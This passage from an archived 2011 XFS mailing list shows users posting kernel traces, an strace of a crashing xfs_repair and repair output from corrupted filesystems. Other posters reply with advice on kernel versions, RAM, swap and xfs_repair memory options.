XFS internal error xfs_btree_check_sblock at line 124 of file /build/buildd-linux-2.6_2.6.32-30-amd64-d4MbNM/linux-2.6-2.6.3 Mar 1 21:31:28 doom kernel: [566626.329909] Mar 1 21:31:28 doom kernel: [566626.329918] Pid: 27165, comm: expire Tainted: P C 2.6.32-5-amd64 #1 Mar 1 21:31:28 doom kernel: [566626.329923] Call Trace: Mar 1 21:31:28 doom kernel: [566626.329973] [] ? xfs_btree_read_buf_block+0x6d/0x8f [xfs] Mar 1 21:31:28 doom kernel: [566626.330005] [] ? xfs_btree_check_sblock+0xbd/0xc4 [xfs] Mar 1 21:31:28 doom kernel: [566626.330037] [] ? xfs_btree_read_buf_block+0x6d/0x8f [xfs] Mar 1 21:31:28 doom kernel: [566626.330068] [] ? xfs_btree_read_buf_block+0x6d/0x8f [xfs] Mar 1 21:31:28 doom kernel: [566626.330100] [] ? xfs_btree_lookup_get_block+0x87/0xac [xfs] Mar 1 21:31:28 doom kernel: [566626.330132] [] ? xfs_btree_lookup+0x12a/0x3cc [xfs] Mar 1 21:31:28 doom kernel: [566626.330166] [] ? kmem_zone_zalloc+0x1e/0x2e [xfs] Mar 1 21:31:28 doom kernel: [566626.330194] [] ? xfs_allocbt_init_cursor+0x35/0x91 [xfs] Mar 1 21:31:28 doom kernel: [566626.330222] [] ? xfs_free_ag_extent+0x5b/0x665 [xfs] Mar 1 21:31:28 doom kernel: [566626.330251] [] ? xfs_free_extent+0x9a/0xb8 [xfs] Mar 1 21:31:28 doom kernel: [566626.330284] [] ? xfs_trans_get_efd+0x21/0x29 [xfs] Mar 1 21:31:28 doom kernel: [566626.330315] [] ? xfs_bmap_finish+0xef/0x162 [xfs] Mar 1 21:31:28 doom kernel: [566626.330349] [] ? xfs_itruncate_finish+0x17d/0x295 [xfs] Mar 1 21:31:28 doom kernel: [566626.330383] [] ? xfs_inactive+0x1d4/0x3f0 [xfs] Mar 1 21:31:28 doom kernel: [566626.330395] [] ? clear_inode+0x79/0xd0 Mar 1 21:31:28 doom kernel: [566626.330403] [] ? generic_delete_inode+0xf4/0x168 Mar 1 21:31:28 doom kernel: [566626.330411] [] ? do_unlinkat+0xf7/0x149 Mar 1 21:31:28 doom kernel: [566626.330419] [] ? sys_write+0x60/0x6e Mar 1 21:31:28 doom kernel: [566626.330428] [] ? system_call_fastpath+0x16/0x1b amd64_none/fs/xfs/xfs_bmap.c. Return address = 0xffffffffa106d05f Mar 1 21:31:28 doom kernel: [566626.330448] xfs_force_shutdown(loop18,0x8) called from line 4341 of file /build/buildd-linux-2.6_2.6.32-30-amd64-d4MbNM/linux-2.6-2.6.32/debian/build/source_ Mar 1 21:31:28 doom kernel: [566626.342806] Filesystem "loop18": Corruption of in-memory data detected. Shutting down filesystem: loop18 Mar 1 21:31:28 doom kernel: [566626.342819] Please umount the filesystem, and rectify the problem(s) I tried to use xfs_repair on it, but it crashes (and, as I may grudgingly add, as usual it crashes because thats what xfsrepair does almost always). The xfs_repair is from debians xfsprogs 3.1.4, and here is an strace just before it crashes: pread(4, "IN\201\200\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\6"..., 8192, 125284311040) = 8192 pread(4, "IN\201\200\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\6"..., 8192, 125284319232) = 8192 pread(4, "IN\201\200\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\6"..., 8192, 125284327424) = 8192 pread(4, "IN\201\200\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\10"..., 8192, 125284483072) = 8192 pread(4, "INA\300\2\2\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\0\0\0\0\0\0\0\0\f"..., 8192, 125284491264) = 8192 pread(4, "XD2D\0000\17\320\0\0\0\0\0\0\0\0\0\0\0\0 \17q\234\1.\\\237\321\16\0\20"..., 4096, 126276620288) = 4096 pread(4, "XD2D\0\340\0010\0\20\0\300\2\340\0\260\377\377\0\300\223\370_\347\003508\0\311\0\20"..., 4096, 126284730880) = 4096 pread(4, "XD2D\t \6\340\3`\1\200\0\240\1p\377\377\0\20\223\370\251\235\003763\0\0\0\20"..., 4096, 126284970496) = 4096 pread(4, "XD2D\0000\7\200\t\20\0\360\n\20\0\360\0\0\0\0 \17q\237\1.+\2000\214\0\20"..., 4096, 126333133824) = 4096 pread(4, "XD2D\1`\16\240\0\20\1@\0\0\0\0\377\377\1@\224\254\204,\003253\0\311\0\20"..., 4096, 126338785792) = 4096 pread(4, "XD2D\6\360\t\20\0\20\5\340\0060\0\260\377\377\5\340\224\255\7d\003508\0\0\0\20"..., 4096, 126341941760) = 4096 pread(4, "XD2D\10\340\7 \0000\4\260\6\220\2@\0\0\0\0 \17q\240\1.\21y\0\210\0\20"..., 4096, 126343030272) = 4096 pread(4, "XD2D\0\20\t\300\t\340\6 \0\0\0\0\377\377\t\300\225\37t\346\003253\0\210\0\20"..., 4096, 126343054848) = 4096 pread(4, "XD2D\0000\17\320\0\0\0\0\0\0\0\0\0\0\0\0 \17q\242\1.\0\0\0\0\0\20"..., 4096, 125026532864) = 4096 pread(4, "XD2D\7p\10\220\0\20\5@\6\360\0 \377\377\5@\226\fi\275\003508\0\0\0\20"..., 4096, 125026524672) = 4096 mmap(NULL, 3107426304, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f84388d1000 pread(4, 0x7f84388d1200, 18446744072522006528, 51859947520) = -1 EFAULT (Bad address) open("/usr/share/locale/en_US.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en_US.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en_US/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) write(2, "xfs_repair: read failed: Bad add"..., 37) = 37 --- SIGSEGV (Segmentation fault) @ 0 (0) --- apparently an mmap goes wrong (and if mmap fails, xfs_repair crashes here already), and then it tries to read a block beyond the end of the device, and then crashes. Any idea on where to go from here? I tried to build the git xfsprogs, but they don't build due to missing -fPIC - and as usual, thanks for any help :) Here is the output from the xfs_repair run: xfs_repair -m 990 -P /dev/loop18 Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... bad magic # 0x103404f in btbno block 9/10857 expected level 0 got 33692 in btbno block 9/10857 bad btree nrecs (42150, min=31, max=62) in btbno block 9/10857 invalid start block 2293577425 in record 0 of 4629836 btree block 9/10857 invalid start block 2285812568 in record 1 of 4629836 btree block 9/10857 invalid start block 1881255310 in record 2 of 4629836 btree block 9/10857 invalid start block 3446559310 in record 3 of 4629836 btree block 9/10857 invalid start block 675798585 in record 4 of 4629836 btree block 9/10857 invalid start block 1988423791 in record 5 of 4629836 btree block 9/10857 invalid start block 1478079706 in record 6 of 4629836 btree block 9/10857 invalid start block 988724204 in record 7 of 4629836 btree block 9/10857 invalid start block 2507314510 in record 8 of 4629836 btree block 9/10857 invalid start block 2971518545 in record 9 of 4629836 btree block 9/10857 invalid start block 690057367 in record 10 of 4629836 btree block 9/10857 invalid start block 2865073461 in record 11 of 4629836 btree block 9/10857 invalid start block 1912136343 in record 12 of 4629836 btree block 9/10857 invalid start block 2593100555 in record 13 of 4629836 btree block 9/10857 invalid start block 1890364231 in record 14 of 4629836 btree block 9/10857 invalid start block 1138733060 in record 15 of 4629836 btree block 9/10857 invalid start block 1780107146 in record 16 of 4629836 btree block 9/10857 invalid start block 2459595538 in record 17 of 4629836 btree block 9/10857 invalid length 967647152 in record 18 of 4629836 btree block 9/10857 invalid start block 2356139990 in record 19 of 4629836 btree block 9/10857 invalid start block 3025317822 in record 20 of 4629836 btree block 9/10857 invalid start block 2576064389 in record 21 of 4629836 btree block 9/10857 invalid start block 2951059818 in record 22 of 4629836 btree block 9/10857 invalid start block 318397717 in record 23 of 4629836 btree block 9/10857 invalid start block 433828196 in record 24 of 4629836 btree block 9/10857 block (9,33424265-33424265) multiply claimed by bno space tree, state - 7 block (9,56547788-56547788) multiply claimed by bno space tree, state - 7 block (9,67118454-67118454) multiply claimed by bno space tree, state - 7 block (9,67118456-67118456) multiply claimed by bno space tree, state - 7 block (9,67118459-67118459) multiply claimed by bno space tree, state - 7 block (9,67118462-67118462) multiply claimed by bno space tree, state - 7 block (9,67118511-67118512) multiply claimed by bno space tree, state - 7 block (9,67118515-67118515) multiply claimed by bno space tree, state - 7 [... lots of similar lines snipped...] invalid start block 3236179925 in record 57 of 4629832 btree block 9/10795 invalid start block 410235468 in record 58 of 4629832 btree block 9/10795 invalid start block 3353408206 in record 59 of 4629832 btree block 9/10795 invalid start block 1222326613 in record 60 of 4629832 btree block 9/10795 invalid start block 1521123165 in record 61 of 4629832 btree block 9/10795 cnt freespace btree block claimed (state 1), agno 9, bno 56547789, suspect 0 agf_freeblks 7328791, counted 4374413 in ag 9 agf_longest 32866, counted 4292013384 in ag 9 sb_icount 0, counted 4854528 sb_ifree 0, counted 328679 sb_fdblocks 0, counted 4487315964 - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 xfs_repair: read failed: Bad address -- The choice of a Deliantra, the free code+content MORPG -----==- _GNU_ http://www.deliantra.net ----==-- _ generation ---==---(_)__ __ ____ __ Marc Lehmann --==---/ / _ \/ // /\ \/ / schmorp@schmorp.de -=====/_/_//_/\_,_/ /_/\_\ From eflorac@intellique.com Wed Mar 2 12:08:36 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22I8ZaN036886 for ; Wed, 2 Mar 2011 12:08:35 -0600 X-ASG-Debug-ID: 1299089480-191503900000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp4-g21.free.fr (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 57AA9157C20C for ; Wed, 2 Mar 2011 10:11:22 -0800 (PST) Received: from smtp4-g21.free.fr (smtp4-g21.free.fr [212.27.42.4]) by cuda.sgi.com with ESMTP id bKotgP4Ly6OZyotf for ; Wed, 02 Mar 2011 10:11:22 -0800 (PST) Received: from harpe.intellique.com (unknown [82.225.196.72]) by smtp4-g21.free.fr (Postfix) with ESMTP id BB2BF4C83D8; Wed, 2 Mar 2011 19:11:16 +0100 (CET) Date: Wed, 2 Mar 2011 19:11:25 +0100 From: Emmanuel Florac To: tramper Cc: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs 14TB - check Subject: Re: xfs 14TB - check Message-ID: <20110302191125.15cd6937@harpe.intellique.com> In-Reply-To: <31051172.post@talk.nabble.com> References: <31051172.post@talk.nabble.com> Organization: Intellique X-Mailer: Claws Mail 3.7.3 (GTK+ 2.16.6; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp4-g21.free.fr[212.27.42.4] X-Barracuda-Start-Time: 1299089485 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56857 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Le Wed, 2 Mar 2011 08:57:40 -0800 (PST) tramper =E9crivait: > i used xfs_repair /dev/cciss/c0...p1 and got the following error > message: >=20 > fatal error -- couldn't allocate block map, size XXXXXXX >=20 > I have 2 GB of Ram in the machine. >=20 > What should I do and how to check my volume? You probably haven't got enough RAM. With an old version of xfs_progs, you need 6 to 8 GB of RAM to check a 14 TB volume.=20 --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From pg_mh@sabi.co.UK Wed Mar 2 13:44:47 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22Jiknt041265 for ; Wed, 2 Mar 2011 13:44:47 -0600 X-ASG-Debug-ID: 1299095255-6c9d015d0000-ps1ADW X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from hermes1.dur.ac.uk (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 902BB30C8C2 for ; Wed, 2 Mar 2011 11:47:36 -0800 (PST) Received: from hermes1.dur.ac.uk (hermes1.dur.ac.uk [129.234.248.1]) by cuda.sgi.com with ESMTP id 3LDABahy93H9xo75 for ; Wed, 02 Mar 2011 11:47:36 -0800 (PST) Received: from smtphost3.dur.ac.uk (smtphost3.dur.ac.uk [129.234.252.3]) by hermes1.dur.ac.uk (8.13.8/8.13.7) with ESMTP id p22JlMoT017238 for ; Wed, 2 Mar 2011 19:47:26 GMT Received: from ty.sabi.co.UK (o1.phyip3.dur.ac.uk [129.234.186.1]) by smtphost3.dur.ac.uk (8.13.8/8.13.7) with ESMTP id p22JlAgW003549 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 2 Mar 2011 19:47:10 GMT Received: from from [127.0.0.1] (helo=tree.ty.sabi.co.UK) by ty.sabi.co.UK with esmtp(Exim 4.71 #1) id 1Pus0n-00085q-JR for ; Wed, 02 Mar 2011 19:47:05 +0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <19822.40630.799564.336178@tree.ty.sabi.co.UK> Date: Wed, 2 Mar 2011 19:47:02 +0000 X-Face: SMJE]JPYVBO-9UR%/8d'mG.F!@.,l@c[f'[%S8'BZIcbQc3/">GrXDwb#;fTRGNmHr^JFb SAptvwWc,0+z+~p~"Gdr4H$(|N(yF(wwCM2bW0~U?HPEE^fkPGx^u[*[yV.gyB!hDOli}EF[\cW*S H&spRGFL}{`bj1TaD^l/"[ msn( /TH#THs{Hpj>)]f> X-ASG-Orig-Subj: Re: xfs_repair in traversing filesystem Subject: Re: xfs_repair in traversing filesystem In-Reply-To: References: X-Mailer: VM 8.0.13 under 23.1.1 (x86_64-pc-linux-gnu) From: pg_xf2@xf2.to.sabi.co.UK (Peter Grandi) X-Disclaimer: This message contains only personal opinions X-DurhamAcUk-MailScanner: Found to be clean, Found to be clean X-DurhamAcUk-MailScanner-ID: p22JlMoT017238 X-Barracuda-Connect: hermes1.dur.ac.uk[129.234.248.1] X-Barracuda-Start-Time: 1299095256 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0208 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56862 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Our 35TB XFS filesystem developed some problems and was > throwing these: [ ... ] How many drives support that filesystem? How many inodes does it have? > so we're running xfs_repair on this filesystem. It finds this > inode and everything looks good, but then it hangs at [ ... ] > - traversing filesystem ... previous posts suggest running > xfs_repair -P -o bhash=1024 [ ... ] It depends on how fast you expect that to happen and how much memory you have. 'man xfs_repair' says that "The default size is set to use up the remainder of 75% of the system's physical RAM size" which seems pretty good to me. You may want to increase the '-o ihash' value too, or '-m'. Also check the '-P' option. BTW I just noticed in the same 'man xfs_repair' the option that "can significantly reduce repair times on concat based filesystems" which is so amusing... From pg_mh@sabi.co.UK Wed Mar 2 13:44:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22JilEq041269 for ; Wed, 2 Mar 2011 13:44:53 -0600 X-ASG-Debug-ID: 1299095256-426a00810000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from hermes1.dur.ac.uk (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A6729A6B78C for ; Wed, 2 Mar 2011 11:47:36 -0800 (PST) Received: from hermes1.dur.ac.uk (hermes1.dur.ac.uk [129.234.248.1]) by cuda.sgi.com with ESMTP id BguHIP5lNCOApHEy for ; Wed, 02 Mar 2011 11:47:36 -0800 (PST) Received: from smtphost2.dur.ac.uk (smtphost2.dur.ac.uk [129.234.252.2]) by hermes1.dur.ac.uk (8.13.8/8.13.7) with ESMTP id p22JlNeS017239 for ; Wed, 2 Mar 2011 19:47:27 GMT Received: from ty.sabi.co.UK (o1.phyip3.dur.ac.uk [129.234.186.1]) by smtphost2.dur.ac.uk (8.13.8/8.13.7) with ESMTP id p22JlAFM019521 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 2 Mar 2011 19:47:10 GMT Received: from from [127.0.0.1] (helo=tree.ty.sabi.co.UK) by ty.sabi.co.UK with esmtp(Exim 4.71 #1) id 1Puqc4-0007VF-2h for ; Wed, 02 Mar 2011 18:17:28 +0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <19822.35253.758862.662542@tree.ty.sabi.co.UK> Date: Wed, 2 Mar 2011 18:17:25 +0000 X-Face: SMJE]JPYVBO-9UR%/8d'mG.F!@.,l@c[f'[%S8'BZIcbQc3/">GrXDwb#;fTRGNmHr^JFb SAptvwWc,0+z+~p~"Gdr4H$(|N(yF(wwCM2bW0~U?HPEE^fkPGx^u[*[yV.gyB!hDOli}EF[\cW*S H&spRGFL}{`bj1TaD^l/"[ msn( /TH#THs{Hpj>)]f> X-ASG-Orig-Subj: Re: xfs 14TB - check Subject: Re: xfs 14TB - check In-Reply-To: <31051172.post@talk.nabble.com> References: <31051172.post@talk.nabble.com> X-Mailer: VM 8.0.13 under 23.1.1 (x86_64-pc-linux-gnu) From: pg_xf2@xf2.to.sabi.co.UK (Peter Grandi) X-Disclaimer: This message contains only personal opinions X-DurhamAcUk-MailScanner: Found to be clean, Found to be clean X-DurhamAcUk-MailScanner-ID: p22JlNeS017239 X-Barracuda-Connect: hermes1.dur.ac.uk[129.234.248.1] X-Barracuda-Start-Time: 1299095257 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean xfs> i formated a storage with 16 disks (Raid5 and sparedrive) xfs> with xfs. One of the many wonderful ideas that get published in this list! :-) xfs> i used xfs_repair /dev/cciss/c0...p1 and got the following xfs> error message: fatal error -- couldn't allocate block map, xfs> size XXXXXXX xfs> I have 2 GB of Ram in the machine. What should I do and how xfs> to check my volume? You probably need a 64 bit systems with a lot more RAM: http://groups.google.com/group/comp.arch.storage/browse_thread/thread/f7b8cd324bed34f9/95b96de52dfe321f http://groups.google.com/group/linux.debian.ports.x86-64/browse_thread/thread/e9d37880252c1ac5/fd2b4d46a4c294b5 Things have improved a bit with later releases of 'xfsprogs', but it still takes a lot of space and time. This mailing list has some post with an estimate of how much RAM and is neeeded currently. Time depends very much on what is inside the filesystem and how damaged it is, 14TB could take many hours or many weeks. From zkaspar82@gmail.com Wed Mar 2 14:10:00 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22K9xPg042447 for ; Wed, 2 Mar 2011 14:10:00 -0600 X-ASG-Debug-ID: 1299096768-489100aa0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-bw0-f53.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B185AA5C02D for ; Wed, 2 Mar 2011 12:12:48 -0800 (PST) Received: from mail-bw0-f53.google.com (mail-bw0-f53.google.com [209.85.214.53]) by cuda.sgi.com with ESMTP id mKZFJRJ2ro3LL0yM for ; Wed, 02 Mar 2011 12:12:48 -0800 (PST) Received: by bwg12 with SMTP id 12so604080bwg.26 for ; Wed, 02 Mar 2011 12:12:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:message-id:date:from:user-agent:mime-version:to :cc:subject:references:in-reply-to:content-type :content-transfer-encoding; bh=jlTZHhMejxGZ8hFg/Xe5yYEZIi4huvPNKYvuIGeUtKw=; b=eL5WnduQ73kdYcG4WZoLyEywqfmznRjVC24S1rfdppB+co1/gFdDPzp7VBHJ3lSFKB 8vAATH3Mvp2Ls9XyT1CB1ixN8uE3Ah93znNCUhBgg/MwZPxLCW0ifxNmMdyWcqrAYK5j UrbsO4S+z7XoFlgI+Z+Mg++WXWbm8PkN73K98= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; b=nDZqHG8d+Rv2oHu9u0cqcPXtvO3q2C2pBoVGpcWdRebgK63lsNqKyMc70vUZIAdG0y gfaXkLhLwFBG6ubx3UljimLGNh7+BnBPLgM0cYSwUJW7GNG6v2391+JI4Br21DxXtl1A 2j+5zlBi68HHbcfp3erumXcGfgFtkSzLj0mik= Received: by 10.204.63.8 with SMTP id z8mr513912bkh.17.1299096767864; Wed, 02 Mar 2011 12:12:47 -0800 (PST) Received: from [192.168.1.51] (ip-78-102-215-95.net.upcbroadband.cz [78.102.215.95]) by mx.google.com with ESMTPS id u23sm237236bkw.21.2011.03.02.12.12.46 (version=SSLv3 cipher=OTHER); Wed, 02 Mar 2011 12:12:46 -0800 (PST) Message-ID: <4D6EA4BB.5050703@gmail.com> Date: Wed, 02 Mar 2011 21:12:43 +0100 From: Zdenek Kaspar User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.14) Gecko/20110221 Thunderbird/3.1.8 MIME-Version: 1.0 To: tramper CC: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs 14TB - check Subject: Re: xfs 14TB - check References: <31051172.post@talk.nabble.com> In-Reply-To: <31051172.post@talk.nabble.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-bw0-f53.google.com[209.85.214.53] X-Barracuda-Start-Time: 1299096769 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0012 1.0000 -2.0129 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.01 X-Barracuda-Spam-Status: No, SCORE=-2.01 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56865 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Dne 2.3.2011 17:57, tramper napsal(a): > > Hallo Forum, > > i formated a storage with 16 disks (Raid5 and sparedrive) with xfs. The > volume is 14TB big. There where circuit Problems and we had several server > shutdowns and Problems. > Now I want to check my xfs Partition. > > i used xfs_repair /dev/cciss/c0...p1 and got the following error message: > > fatal error -- couldn't allocate block map, size XXXXXXX > > I have 2 GB of Ram in the machine. > > What should I do and how to check my volume? > > with kind regards > traper Try big temporary swap for this purpose.. HTH, Z. From eflorac@intellique.com Wed Mar 2 15:41:00 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p22Lf0sP046722 for ; Wed, 2 Mar 2011 15:41:00 -0600 X-ASG-Debug-ID: 1299102226-38c503b00000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp3-g21.free.fr (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 0333D10A343E for ; Wed, 2 Mar 2011 13:43:48 -0800 (PST) Received: from smtp3-g21.free.fr (smtp3-g21.free.fr [212.27.42.3]) by cuda.sgi.com with ESMTP id YUxm6JaVzdzwHNtK for ; Wed, 02 Mar 2011 13:43:48 -0800 (PST) Received: from galadriel2.home (unknown [82.235.234.79]) by smtp3-g21.free.fr (Postfix) with ESMTP id 0D1AFA6108; Wed, 2 Mar 2011 22:43:42 +0100 (CET) Date: Wed, 2 Mar 2011 22:43:29 +0100 From: Emmanuel Florac To: Marc Lehmann Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults Subject: Re: corruption, xfs_repair 3.1.4 segfaults Message-ID: <20110302224329.3f62c172@galadriel2.home> In-Reply-To: <20110302175818.GA8290@schmorp.de> References: <20110302175818.GA8290@schmorp.de> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.20.1; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp3-g21.free.fr[212.27.42.3] X-Barracuda-Start-Time: 1299102230 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Le Wed, 2 Mar 2011 18:58:18 +0100 vous =C3=A9criviez: > I had a case of filesystem corruption a day ago: >=20 What's the kernel version? It's apparently a loopback device, what is mounted and how? Your log looks quite hopeless at first glance... --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From david@fromorbit.com Wed Mar 2 20:39:55 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p232dsH1059485 for ; Wed, 2 Mar 2011 20:39:54 -0600 X-ASG-Debug-ID: 1299120161-5a1c00390000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 